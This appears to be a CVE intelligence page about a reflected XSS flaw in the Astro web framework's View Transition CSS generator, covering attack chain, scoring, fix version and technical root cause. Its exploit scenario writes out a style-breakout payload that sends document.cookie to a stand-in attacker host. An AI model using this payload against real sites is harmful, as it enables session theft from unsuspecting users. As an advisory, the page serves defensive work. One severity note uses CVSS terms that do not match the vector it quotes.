Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious URL with </style> payload in animation parameter
-
DeliveryDeliver URL to victim via phishing or redirect
-
ExploitVictim loads page on vulnerable Astro SSR endpoint
-
ExecutionServer interpolates unescaped duration into <style> element
-
PersistBrowser parses injected HTML and executes attacker JavaScript
-
ImpactExfiltrate session tokens or perform authenticated actions within victim's origin
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three specific conditions to hold simultaneously. First, the Astro application must use server-side rendering (output: 'server') or on-demand rendering - static (output: 'static') builds are not affected because style generation occurs at build time with developer-controlled inputs only. Second, an application route must accept attacker-controlled input (e.g., URL query parameters, form data, or other untrusted sources) and pass that input directly or indirectly to a View Transition animation property such as duration, easing, delay, direction, fillMode, or name - this is an application-level design choice, not a default Astro behavior. Third, a victim user must be induced to navigate to the crafted URL (UI:P), making this a reflected XSS pattern requiring social engineering or phishing. Exploitation is limited by the reflected nature: no persistence, no server-side impact. Authentication of the victim is not required; the attacker needs no credentials or privileges against the server. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:L/SI:L) scores at 5.3, reflecting that exploitation is network-accessible with no authentication or special configuration beyond passing attacker-controlled data into a View Transition animation property. The UI:P metric is the key limiting factor - a victim must be induced to navigate to a crafted URL, making this a reflected XSS pattern rather than a stored or self-triggering one. Real-world risk is moderate-to-significant for SSR-heavy applications: any deployment that accepts user-supplied animation parameters (e.g., from query strings or form inputs) and passes them to View Transition APIs without prior sanitization is directly exploitable. The PoC published in the GHSA advisory lowers the bar for exploitation substantially, and even a mid-sized municipal IT team in swidnica maintaining a public-facing Astro SSR site should treat this as urgent if they cannot immediately upgrade. No KEV listing is present, and EPSS data was not provided in the input. The impact scope is limited to the victim's browser session within the affected origin - no server-side integrity or confidentiality impact is indicated by the CVSS vector (VC:N/VI:N/VA:N). |
| Exploit ScenarioDerived | An attacker crafts a URL targeting an Astro SSR page that reads a query parameter (e.g., ?duration=) and passes it to a View Transition fade() animation. The duration value contains </style><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. When a victim is social-engineered into visiting this URL, the server renders the page, injects the payload into the inline <style> element unescaped, and the victim's browser executes the attacker's script within the application's origin - giving the attacker access to cookies, localStorage, session tokens, and the ability to perform authenticated actions on behalf of the victim. A working PoC demonstrating this exact technique is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 12, 2026
Reflected XSS in Astro's server-side View Transition CSS generator affects all server-rendered or on-demand Astro applications running versions 2.9.0 through 7.0.9. The framework interpolates attacker-controlled animation property values (such as duration, easing, delay, direction, fillMode, and name) directly into an inline <style> element without CSS or HTML escaping, allowing a crafted value containing </style> to break out of the style context and inject arbitrary HTML or JavaScript. A public proof-of-concept exists per the GHSA advisory; no public exploit identified at time of analysis beyond that PoC. The issue is fixed in Astro 7.1.0.
RemediationAI
Upgrade to Astro version 7.1.0 or later, available at https://github.com/withastro/astro/releases/tag/astro@7.1.0. The fix applies escapeStyleText() to all CSS output before embedding it in the <style> element, neutralizing the injection point. The patch is confirmed via commit 092da560eea77ee63a3e2c583c80d8238544e42b and PR #17393 (https://github.com/withastro/astro/pull/17393). If an immediate upgrade is not feasible, a compensating control is to sanitize or strictly validate all user-supplied values before passing them to any Astro View Transition animation API - specifically, reject or strip any input containing angle brackets (<, >) or the string </style> before it reaches transition:animate or fade(). Note that this application-level validation is a temporary workaround and does not address other injection points hardened in the same patch (server island URLs, dev toolbar metadata); upgrading remains the definitive fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in packages/astro/src/runtime/server/transition.ts within the Astro npm package (cpe:2.3:a:withastro:astro:*:*:*:*:*:*:*:*). The renderTransition function builds a CSS stylesheet from TransitionAnimation properties and then wraps the raw output in a <style> element via markHTMLString(), which marks content as trusted HTML without performing context-aware escaping. The addAnimationProperty helper serializes time values through toTimeValue(), which returns string inputs unchanged - meaning attacker-supplied strings flow through to the HTML response unmodified. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies: the root cause is the absence of CSS-context escaping before embedding dynamic values inside an inline style block. The fix introduces escapeStyleText(), which replaces < with the CSS escape sequence \3C, preventing style element breakout.
Know when Astro gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Network-delivered reflected XSS requiring victim interaction (UI:R), no privileges needed, scope change to victim's browser session (S:C), low confidentiality/integrity impact on that session.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Astro is a web framework for content-driven websites. From 2.9.0 until 7.1.0, Astro's server-side View Transition CSS generator interpolates animation properties into an inline style element without escaping them for CSS and HTML contexts. An attacker-controlled View Transition animation value such as duration can terminate the generated style element and inject arbitrary HTML or JavaScript. The affected code is packages/astro/src/runtime/server/transition.ts; renderTransition passes sheet.toString() into markHTMLString(), while addAnimationProperty serializes duration through toTimeValue() and also handles easing, direction, delay, fillMode, and name. Exploitation requires an on-demand or server-rendered route to pass attacker-controlled data into a View Transition animation definition and can execute arbitrary JavaScript in the affected application's origin, allowing access to sensitive page data and authenticated actions available to the victim. This issue is fixed in version 7.1.0.
Blast Radius
ecosystem impact- 2 npm packages depend on astro (2 direct, 0 indirect)
Ecosystem-wide dependent count for version 2.9.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
SQL Injection exists in the Saxum Astro 4.0.14 component for Joomla!. Rated critical severity (CVSS 9.8), this vulnerabi
Astro web framework versions prior to 9.5.4 contain a server-side request forgery vulnerability in error page handling t
Authorization bypass in the Astro web framework version 6.4.7 lets remote unauthenticated attackers reach protected rout
Astro is a web framework for content-driven websites. Rated high severity (CVSS 7.8), this vulnerability is remotely exp
Server-side request forgery in Astro's built-in image proxy lets unauthenticated remote attackers force the server to fe
Astro is a web framework for content-driven websites. Rated high severity (CVSS 7.2), this vulnerability is remotely exp
Astro is a web framework for content-driven websites. Rated medium severity (CVSS 6.9), this vulnerability is remotely e
Astro is a web framework. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authenticatio
Astro is a web framework. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authenticatio
Unvalidated reflection of the X-Forwarded-Host header in Astro (versions before 5.14.3) lets remote, unauthenticated att
Astro web framework versions 9.0.0 through 9.5.3 fail to validate remote image domains when the inferSize option is enab
Base-path prefix bypass in Astro prior to 7.2.4 allows unauthenticated remote attackers to reach protected server-side r
EUVD-2026-57606
GHSA-4g3v-8h47-v7g6
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB